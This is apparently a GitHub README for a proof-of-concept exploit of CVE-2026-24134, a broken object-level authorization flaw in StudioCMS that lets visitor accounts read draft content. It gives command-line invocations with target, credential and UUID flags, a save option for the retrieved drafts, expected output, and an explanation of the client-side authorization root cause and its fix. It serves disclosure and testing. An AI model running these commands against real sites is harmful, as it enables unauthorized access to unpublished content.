filipegaudard/cve-2026-24134-pocProof-of-concept exploit for CVE-2026-24134, a Broken Object Level Authorization vulnerability in StudioCMS, demonstrating unauthorized access to draft content.
This repository contains the Proof of Concept (PoC) for CVE-2026-24134, a Broken Object Level Authorization (BOLA) vulnerability in StudioCMS.
cve_2026_24134_poc.py - Python exploitation scriptpip install requests colorama
# Basic usage
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--username visitor_user \
--password visitor_pass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148
# Save output to file
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--username visitor_user \
--password visitor_pass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148 \
--save
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--auto-test \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--editor-user editor01 \
--editor-pass editorpass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148
-u, --url - Target StudioCMS base URL--uuid - Target draft content UUID--username - Username for authentication--password - Password for authentication--auto-test - Enable automated testing--visitor-user - Visitor account username--visitor-pass - Visitor account password--editor-user - Editor account username--editor-pass - Editor account password--save - Save response content to file--no-ssl-verify - Disable SSL certificate verificationpython3 cve_2026_24134_poc.py \
--url http://target.com \
--auto-test \
--visitor-user test_visitor \
--visitor-pass SecurePass123! \
--editor-user test_editor \
--editor-pass SecurePass456! \
--uuid 12345678-1234-1234-1234-123456789abc
Expected output if vulnerable:
[+] Successfully authenticated as test_visitor
[*] Detected user role: Visitor
[+] Successfully accessed draft content!
[!] VULNERABILITY CONFIRMED!
Expected output if patched:
[+] Successfully authenticated as test_visitor
[*] Detected user role: Visitor
[*] Access denied (403 Forbidden)
[+] VULNERABILITY NOT PRESENT
python3 cve_2026_24134_poc.py \
--url http://localhost:4321 \
--username attacker \
--password pass123 \
--uuid target-uuid-here \
--save
This will save the full draft content to draft_{uuid}.html.
[+] - Successful operation (green)[*] - Informational message (blue)[!] - Warning (yellow)[-] - Error (red)If you're running a vulnerable version of StudioCMS, update immediately to the patched version.
The Real Problem: Authorization checks were performed client-side (JavaScript), not server-side.
According to the development team:
"Currently the rank level check to redirect is being done in client JS, which was supposed to be replaced shortly there after."
The Fix: Move authorization from client to server.
Key Principle: Never trust the client. Client-side security = UX enhancement. Server-side security = actual protection.
IMPORTANT: This tool is provided for educational and authorized security testing purposes only.
For questions about this PoC or vulnerability:
This PoC is released for educational purposes. Use responsibly and ethically.